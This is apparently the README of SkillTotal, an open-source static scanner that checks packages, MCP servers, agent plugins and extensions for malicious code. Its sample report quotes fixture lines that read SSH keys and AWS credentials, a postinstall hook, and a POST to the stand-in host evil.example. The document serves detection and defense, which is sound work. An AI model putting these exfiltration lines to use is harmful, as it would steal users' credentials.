SkillTotal

Quick start

pipx install skilltotal
skilltotal scan npm:express     # or pypi:name, a git URL, a folder, an archive

Check what your coding agent installs. Inside Claude Code:

/plugin marketplace add pezhik/skilltotal
/plugin install skilltotal@skilltotal
/reload-plugins

Gate pull requests. Add one step to a workflow (full example with permissions):

      - uses: pezhik/skilltotal@v0.90.0
        with: { source: ., fail-on: high }

To try it without installing anything, www.skilltotal.ai runs the same engine.

Related MCP server: mcp-heimdall

Choose your path

What it catches

It scans npm and PyPI packages, MCP servers, agent skills and plugins, VS Code extensions, git repositories (or one folder of them), local folders, archives (including .mcpb, .vsix and wheels) and single files, and looks for:

It also flags hidden Unicode in agent-facing text, embedded secrets, auto-approved MCP tools and data flows such as a credential read followed by network egress. skilltotal rules list prints every rule; coverage by component type and accuracy notes are in docs/detection.md.

$ skilltotal scan tests/fixtures/malicious_npm_pkg
SkillTotal Security Report
==========================
Component : evil-npm-pkg 0.0.1 (npm_package)
Source    : tests/fixtures/malicious_npm_pkg
Verdict   : HIGH - High risk - review before installing
Risk      : HIGH  (score 70/100)

Findings (3 risk, 4 capability, not scored):
  [CRITICAL] ST-COMBO-EXFIL  Sensitive-data access combined with network egress
    Evidence:
      - index.js:7
        const key = fs.readFileSync(process.env.HOME + '/.ssh/id_rsa', 'utf8');
      - steal.js:3
        const data = fs.readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
      - index.js:13
        fetch('http://evil.example/collect', { method: 'POST', body: key });
      ... and 1 more (all of them in --json)

  [HIGH] ST-INSTALL-DROPPER  Install-time hook paired with a dropper payload
    Evidence:
      - package.json:6
        "postinstall": "node steal.js"
  ...

Shortened. The full report also prints descriptions, recommendations, capabilities and review items.

Why SkillTotal

• The Claude Code plugin checks each npx, npm install, pip install or claude mcp add command before the agent runs it.

• Scans run on your machine with no account, API token, upload or telemetry, and SkillTotal never runs the code it reads. The exception is the agent hooks' lockfile lookup: public package names and versions go to OSV, and SKILLTOTAL_OSV=0 turns that off (Network access).

• Detection is regex and AST matching with no LLM, so the same input on the same Python version gives the same findings and score. Every finding cites a file and line, and recall and precision are published.

• Zero runtime dependencies (Python standard library only) make it easy to audit, vendor or run air-gapped.

• Reports carry a behavioral trait fingerprint mapped to the Cloud Security Alliance (CSA) agentic threat model, MAESTRO layers and MITRE ATLAS tactics; findings carry OWASP Agentic Skills Top 10 ids.

• It is open source (Apache-2.0), and the full static report is free, forever.

How it works

SkillTotal fetches the component (a shallow git clone or the package archive), reads every file once and runs its scanners over them. It correlates the findings (a credential read plus network egress becomes an exfiltration path) and scores the result from 0 to 100. It looks only at the component's own files, never at the user, company, environment, deployment or runtime context. Every confirmed finding carries evidence (file, line range, code snippet); a signal that cannot be tied to evidence goes to needs_review, which never affects the score. A capability such as shell or network access is reported but scores zero. Details in docs/architecture.md and docs/scoring.md.

Claude Code plugin

Before an install command runs, the plugin scans each package it names, locally and with the same engine as the CLI. It reads npm, pnpm, yarn, bun, npx, pip, uv, uvx, pipx, poetry and similar installs, claude mcp add (and the Codex and Gemini equivalents), claude plugin install, code --install-extension and npx skills add, including when they are wrapped in sudo, bash -c, $(...) or PowerShell. Install the CLI first (skilltotal --version must work where you start Claude Code), then run the three commands from Quick start.

Each install command gets a console line saying what was checked, or what was not and why. In CI (CI, GITLAB_CI, JENKINS_URL and similar, or SKILLTOTAL_STRICT=1) nobody is there to answer, so anything it would ask about is denied. Installs it could not check are denied too, unless SKILLTOTAL_ALLOW_UNCHECKED lists their kind.

It does not scan the dependencies of the named package, the code of installs that name no package (npm ci, pip install -r, uv sync: their lockfile is only looked up in OSV, and the console says what was and was not covered), scripts on disk, shell-profile aliases or functions, downloaded scripts (curl ... | bash, reported as not checked), repositories fetched with git clone, or code already running on your account (it can rewrite the verdict cache or the CLI). Updates that install themselves, such as an editor extension or an npx -y server that runs its latest release, run no install command. The plugin's sentinel scans what changed at session start and tells the agent at the next one. The plugin has no override for a denied install, and it is a static check, not a sandbox: run the agent in a container for code you don't trust. It also adds a /skilltotal:scan <target> command and registers the SkillTotal MCP server. Recognized commands, settings, cache, timing, team rollout and troubleshooting are in docs/plugin.md.

Other agents

skilltotal hook install adds the same check to other agents, leaving their other hooks alone. An agent that cannot ask you gets a denial that says how to go ahead.

docs/agent-hooks.md has what each one can and cannot see, and the managed templates for a fleet.

CI / GitHub Action

Run SkillTotal in CI and see the findings in your repository's Security → Code scanning tab: add the step from Quick start to a workflow with security-events: write (full workflow).

A malicious indicator fails the job at any severity; a capability on its own, such as a shell call or network access, never does. The log names the gate that tripped and the finding behind it. Findings are uploaded as SARIF. A private repository has Code Scanning only with GitHub Advanced Security; without it, set upload-sarif: 'false'. comment-on-pr: 'true' (with pull-requests: write) keeps one summary comment up to date. The repository's .skilltotal.toml is applied, so put it under CODEOWNERS (Configuration). docs/ci.md covers every input and output, scheduled re-checks of a third-party package, upgrade reviews, pre-commit, GitLab CI, Jenkins and rolling out on an existing repository. Anywhere else Python 3.10+ runs, install a pinned release and gate on the exit code (0 passed, 2 a gate tripped, 1 the scan could not run):

pip install skilltotal==0.90.0      # in a virtual environment outside the checkout
skilltotal scan . --fail-on high

CLI

skilltotal scan ./path/to/component           # a folder, archive, file, git URL, npm:name or pypi:name
skilltotal scan ./downloads/some-extension.vsix   # also .mcpb, .dxt and .whl files
skilltotal scan vscode:publisher.name         # an editor extension by id (openvsx: for Open VSX)
skilltotal scan ./component --json            # JSON to stdout
skilltotal scan ./component --sarif --output report.sarif
skilltotal scan ./component --fail-on high    # exit 2 on a high/critical risk finding
skilltotal scan ./component --write-baseline .skilltotal-baseline.json
skilltotal scan ./component --baseline .skilltotal-baseline.json --fail-on-high
skilltotal diff npm:some-lib@1.2.3 npm:some-lib@1.2.4 --fail-on-new high
skilltotal guard npm:some-mcp-server          # exit 2 if it should not be installed
skilltotal guard --installed                  # the MCP servers, plugins, skills and editor extensions installed here
skilltotal guard --installed --state ~/.skilltotal-state.json   # also catch risk gained in an update
skilltotal inventory --sbom                   # AI-BOM: CycloneDX 1.6 JSON of your agent stack
skilltotal rules list

With no gate flag and no gate in a .skilltotal.toml, scan exits 0 whatever it finds, even for a malicious verdict. In a script, use skilltotal guard or a gate (--fail-on) and check the exit code. Every command, flag, exit code and gate is in the CLI reference; a daily check of what is installed, with cron, launchd or Task Scheduler, is in Installed components.

MCP server

skilltotal mcp runs the engine as a stdio MCP server so your agent can check a component before installing it. The Claude Code plugin already registers it. In Claude Code without the plugin:

claude mcp add skilltotal -- skilltotal mcp

For Claude Desktop, Cursor, Windsurf or any client that reads mcpServers:

{ "mcpServers": { "skilltotal": { "command": "skilltotal", "args": ["mcp"] } } }

It has three read-only tools: scan_component (a local path, git URL, npm:, pypi:, vscode: or openvsx: source), diff_components (what changed between two versions) and list_rules. VS Code, the uvx/npx forms and the path rules are in docs/mcp-server.md.

Install

Requires Python 3.10+, with zero runtime dependencies. git is needed only for scanning remote URLs and for scan --staged. Scanning inside a directory you don't trust, installing on an offline machine and other install details are in docs/cli.md.

pipx install skilltotal      # recommended for the CLI; then `pipx ensurepath` if it is not found
pip install skilltotal       # into a virtual environment, or to use it as a library

With npx (it needs uv, pipx, or Python 3.11+ with skilltotal installed), name the release with --package so npx does not run a skilltotal from the scanned repository's node_modules/.bin:

npx -y --package=skilltotal@0.90.0 -- skilltotal scan https://github.com/owner/repo

Measured, not asserted

• Detection efficacy: recall and precision on a labeled corpus we built and publish (168 malicious and 129 benign samples), regenerated every release and enforced by CI as a floor. A perfect score on our own corpus guards against regressions; it is not a claim about every attack in the wild. Each rule behind the survey's OWASP class counts also has labeled samples of its own, listed in the report's rule coverage table.

• The MCP registry, scanned (September 2026, engine 0.49.0, rulesets 56 to 59; later rule changes are not reflected): 15,341 of the 17,535 distinct components in the official registry (87.5%). Of those scanned, 88.2% expose tools to an agent, 64.8% can reach the network and 21.1% can execute shell commands. Still, all but 116 of them score low risk, because a capability on its own scores zero. Before this run we read every malicious-indicator hit from an earlier run by hand and fixed the false positives. Aggregates (JSON) · the harness.

Limitations

• Files over 2 MiB are not read. Minified JavaScript/TypeScript bundles are listed but not analyzed, except the scripts npm runs at install and the entry points a package.json names. A VS Code extension's entry points are read up to 8 MiB. A low verdict over unread code reads "Partially analyzed".

• Dependencies are not scanned. node_modules/, vendor/ and virtual environments are skipped.

• Code fetched or generated at run time is not analyzed, nor are binaries and compiled artifacts.

• Languages. Shell execution, network access, file access and dynamic code are analyzed in Python and JavaScript/TypeScript. Shell, PowerShell and batch scripts are checked for download-and-run, decode-and-run, evasion and post-exploitation idioms. Other languages get only the secret, sensitive-path and hidden-Unicode checks.

• The default gate does not count unread code, and unread code never passes in silence: the log names it (Not everything was analyzed: ...), the verdict reads "Partially analyzed", and --fail-on-unanalyzed fails on it. That covers files too large to read, minified bundles, code in languages not analyzed for behavior, and compiled code shipped without its source (a .pyc, .pyo or .class with no .py or .java of the same name beside it).

• Detection is at the call/import level. A capability shows the code is there, not that it is misused. SkillTotal does not replace a sandbox, a penetration test or a manual code review.

For how the four bypasses published in June 2026 fare against this engine, see What we catch. The full list is in docs/detection.md.

Configuration

Commit a .skilltotal.toml instead of repeating flags: gate levels, excludes, ignored rules, a baseline file and per-rule block / warn / ignore policy. scan reads all of it and diff reads the excludes and ignored rules; guard and inventory read none (docs/configuration.md). Limits and registry mirrors are set with SKILLTOTAL_* environment variables.

To accept a reviewed finding, add an inline skilltotal:ignore[ST-ID] comment (local folders only, never for a malicious indicator), record it in a baseline, or, for guard and scheduled sweeps of installed components, list it in an accept file (--accept FILE: one component at one exact version, with a reason). Accepting findings compares them. In CI the scanned repository's own config and markers apply, so put .skilltotal.toml and the baseline under CODEOWNERS with branch protection.

Network access

A scan of a local folder, archive or file makes no network request. SkillTotal goes online only for:

• git URLs: git clone --depth 1; for github.com, GitHub REST API calls (api.github.com) first, to check the size of what would be cloned

• npm: / pypi: sources: package metadata and archive from registry.npmjs.org or PyPI (pypi.org and its file host), or from your mirror (SKILLTOTAL_NPM_REGISTRY, SKILLTOTAL_PYPI_INDEX)

• vscode: / openvsx: sources: extension metadata and the .vsix from marketplace.visualstudio.com or open-vsx.org, and their download hosts

• --provenance: the package's registry metadata

• inventory, guard --installed, watch, the agent hooks and the MCP server: the same registries and git hosts, for the packages they check

• The agent hook's lockfile lookup: for an install that names no package (npm ci, uv sync), the hook sends the names and exact versions of public-registry packages to OSV (api.osv.dev, operated by Google) and nothing else. A package is sent only when the install would fetch it from the public registry: with a custom registry configured, an entry with no public URL in the lockfile is not sent. A clean result means OSV lists no known-malicious version, not that the package is safe. Set SKILLTOTAL_OSV=0 to turn it off. What is sent, and its limits

Only the agent hook does that lookup. Scanning sends nothing about your code anywhere. SkillTotal sends no telemetry, needs no account and makes no LLM call.

Open source vs SkillTotal Cloud

This engine (the analysis, all detection rules and the CLI) is open source and complete on its own, free to run locally or in CI. Paid features are planned for SkillTotal Cloud as server-side services on top of it; their code is not part of this repository (docs/open-core.md).

Documentation

Contributing, security and license

Development setup: pip install -e ".[dev]", then pytest. Detection rules are added corpus-first (docs/contributing-rules.md). Report false positives as issues; they are fixed in the open. Security issues: SECURITY.md.

Apache-2.0, see also NOTICE.